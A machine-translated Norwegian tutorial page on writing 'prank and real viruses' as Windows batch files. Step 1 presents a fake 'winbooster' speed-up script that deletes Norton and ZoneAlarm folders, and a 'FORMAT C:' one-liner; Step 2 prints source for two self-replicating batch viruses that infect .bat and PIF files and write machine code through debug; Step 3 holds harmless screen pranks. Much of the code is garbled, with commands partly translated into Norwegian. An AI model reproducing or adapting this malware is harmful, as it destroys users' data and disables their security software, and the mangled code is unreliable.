Innholdsfortegnelse:
2025 Forfatter: John Day | [email protected]. Sist endret: 2025-01-13 06:58
Slik lager du en prank og ekte virus i BATCHMerk: Jeg er ikke ansvarlig for skader du gjør på datamaskinen din, andres datamaskin Merk: Når du vil lagre filen, bør du lagre den som noe.bat
Trinn 1: Ekte virus (enkle)
den første: kopier koden ****************************************** **************@echo Velkommen til winbooster av ELECTROfun@echo hvis du vil gjøre datamaskinen din raskere, bør du gjøre følgende trinn@pause cd / c: dir dir c: / progra ~ 1 / norton ~ 1 @echo nå bør du skrive y og trykke enter @pause del c: / progra ~ 1 / norton ~ 1 @pause c: dir @pause @dir c: / progra ~ 1 dir c: / progra ~ 1 / zonea ~ 1 / zonealarm del c: / progra ~ 1 / zonea ~ 1 / zonealarm @echo ok nå er datamaskinen din "VIRKELIG!" Rask: avslutt ********************************************** *Merk: lagre filen alt du vil ha. Bat Merk: alt som er etter @echo kan endres (du kan skrive hva du vil) Den andre: **************** farge 02FORMAT C: ****************
Trinn 2: Ekte virus (avanserte)
1. Den mektigste ********************@hvis ikke '%0 ==' if '%_melt%==' goto meltbeg:: ---- dummy vert --------@echo offecho Hello World!:: ---- end dummy host ----@goto MeLTend [MeLT_2a]: MeLTbeg@echo off%_MeLT%if '%1 ==' MeLT goto MeLT %2ifis not exist %comspec %set comspec = %_ MeLT %command %comspec % /e: 5000 /c %0 MeLT virset MeLTcl = %1 %2 %3 %4 %5 %6 %7 %8 %9call % 0 MeLT rhset _MeLT = sett MeLTcl = gå til MeLTend: MeLTrhset _MeLT = x%0%MeLTcl%: MeLTvirset MeLTH =%0 hvis ikke finnes%_MeLT %% temp%\ nul sett temp =%tmp%hvis det finnes%temp%\ MeLT_2a goto MeLTrun%0 MeLT fnd. %path%: MeLTfndshift%_MeLT%if '%2 ==' exit MeLTset MeLT =%2 \%MeLTH%.batif does not exist%MeLT%set MeLT =%2 \%MeLTH%if not exist%MeLT%set MeLT = %2%MeLTH%.batif finnes ikke%MeLT%sett MeLT =%2%MeLTH%hvis ikke finnes%MeLT%gå til MeLTfndfind "MeLT"%temp%\ MeLT_2aattrib%temp%\ MeLT_2a +h: MeLTrun%MeLTH%MeLT s…%path%: MeLTsshift%_MeLT%if '%2 ==' exit MeLTfor %% a in (%2 \*. bat%2*.bat) do call%MeLTH%MeLT inf %% agoto MeLTs: MeLTinffind / i "MeLT" nulif not errorlevel 1 gå til MeLTnoecho @if ikke '%% 0 ==' if '%% _ melt %% ==' goto meltbeg> MeLT.ttype%3 >> MeLT.techo. >> MeLT.ttype% temp %\ MeLT_2a >> MeLT.tmove MeLT.t %3> nulexit MeLT: MeLTact - blitsmelt skjermtekst og sett tilbake til normalecho e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE> MeLT.techo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8 >> MeLT.techo e 120 B4 4C CD 21 00 >> MeLT.techo g >> MeLT.tdebugnuldel MeLT.texit MeLT: MeLTnoset MeLTC =%MeLTC%1if%MeLTC%== 1111111111 gå til MeLTact: MeLTend ********************************** ******** 2. Dette er et virus som "infiserer" PIF -filer, som brukes av Windows til å kjøre DOS -programmer. Det fungerer ved å lage skjulte ledsagerbatcher som inneholder kopier av dette, og deretter endre PIF -filen slik at ledsagerbatchen kjøres først. Etter at ledsageren kjører kjører det det opprinnelige vertsprogrammet, hvis navn er kodet inn i ledsageren. PIF-filene er merket slik at de ikke blir infisert på nytt. Bare PIF -er påvirkes, det gjøres ingen endringer i de infiserte programmene. For å 'kurere', bruk PIFEDIT for å gjenopprette de originale filnavnene, og slett deretter de skjulte filene. ******************************* ***************@echo off:: vertsfilnavn … sett pifvo = LIST. COM:: loop dispatcher … hvis '%1 ==' PiFV gå til PiFV_%2:: kjør virus! set _PiFV = hvis det ikke finnes%comspec%set comspec = C: / COMMAND. COM%_PiFV %% comspec% /e: 5000 /c%0 PiFV go> nulif exist PiFV! del PiFV!:: kjør vertssettet PiFVcl = %1 %2 %3 %4 %5 %6 %7 %8 %9call %0 PiFV hstset PiFVo = sett PiFVcl =:: kontroller for aktivering … ekko. | dato | finn / i "sat"> nul. PiFVif feilnivå 1 til PiFV_endecho. % Hvem hevdet å vite vann.% PiFV% "Ingen flere demninger," sa han, "bruk vannet mitt i stedet!"% PiFV% Men den eldste oteren var ikke imponert. Pause> nul. PiFVset PiFV = gå til PiFV_end: PiFV_msgecho [PiFV] av WaveFuncgoto PiFV_end: PiFV_hst%PiFVo%%PiFVcl%goto PiFV_end: PiFV_goset PiFVh =%0if eksisterer ikke%PiFVh%sett PiFVh =%0.batif eksisterer ikke%PiFVh%utgang%. ring %0 PiFV inf %% aexit PiFV: PiFV_infset PiFVp = %3:: få offerfilnavn og infeksjonsmarkør:: fra PIF -fil ved hjelp av feilsøking … hvis det finnes PiFV! gå til PiFV_1echo m 124, 162 524> PiFV! echo e 100 '@set fn =' >> PiFV! echo m 524, 562 108 >> PiFV! echo n pifv $.bat >> PiFV! echo rcx >> PiFV! echo 47 >> PiFV! Echo w >> PiFV! Echo m 55E, 561 108 >> PiFV! Echo e 10C 0 >> PiFV! Echo n pifv $$. Bat >> PiFV! Echo rcx >> PiFV! Echo 10 >> PiFV! Echo w >> PiFV! Echo q >> PiFV!: PiFV_1debug%PiFVp%nulcall PiFV $ set PiFVn =%fn%call PiFV $$ set PiFVi =%fn%del PiFV $?. Bat:: pifvn = orig filnavn:: pifvi = infeksjonsmarkør:: pifvp = pif filnavn:: pifvh = ledsager batfil:: hoppe over infiserte eller 'tomme' pifs … hvis '%PiFVi%==' PiFV gå til PiFV_endif '%PiFVn%==' gå til PiFV_end:: ikke skygge kommando.com (vær hyggelig) echo %PiFVn %| finn /i "kommando"> nulif ikke feilnivå 1 gå til PiFV_end:: smittbar - opprett en ledsagerbatch …:: (følgende kode striper av utvidelsen) echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88> PiFV $$ echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21 >> PiFV $$ echo e 120 c3 73 65 74 20 66 6e 3d 24 00 >> PiFV $$ echo n pifv $.com >> PiFV $$ echo rcx >> PiFV $$ echo 2a >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debugnulecho%PiFVn%| PiFV $> PiFV $$. Batcall PiFV $$ set PiFVb =%fn%.batdel PiFV $?.*:: pifvb = nytt batchnavn:: ikke skygge hvis comp har samme navn som hostif%PiFVo%==%PiFVb%goto PiFV_endif exist%PiFVb%goto PiFV_endecho @echo off>%PiFVb%echo set pifvo =%pifvn%>>%PiFVb%find "PiFV">%PiFVb%attrib%PiFVb% +h::… og pek PIF på ledsagerenecho e 15E 'PiFV', 0> PiFV $$ echo e 124 '%PiFVb%', 0 >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debug %PiFVp %nuldel PiFV $$:: Jeg tror vi er ferdige! Avslutt PiFV: PiFV_end:: lurer på hvor mange feil alt dette har i seg? Bare én:: måte å finne ut … **************************************** **********
Trinn 3: Prank Virus and And a Trick
1.prank virus ******************* color 02@echo offecho dir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/ sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/secho@echo* ************************* Merk: "farge 02" er å gjøre teksten green2.trick (matrisekode) ****** **************************@echo offcolor 02: startecho %random % %random % %random % %random % %random % %random % % random%% random%% random%% random%% random%% random%% random%% random% start ************************ *******************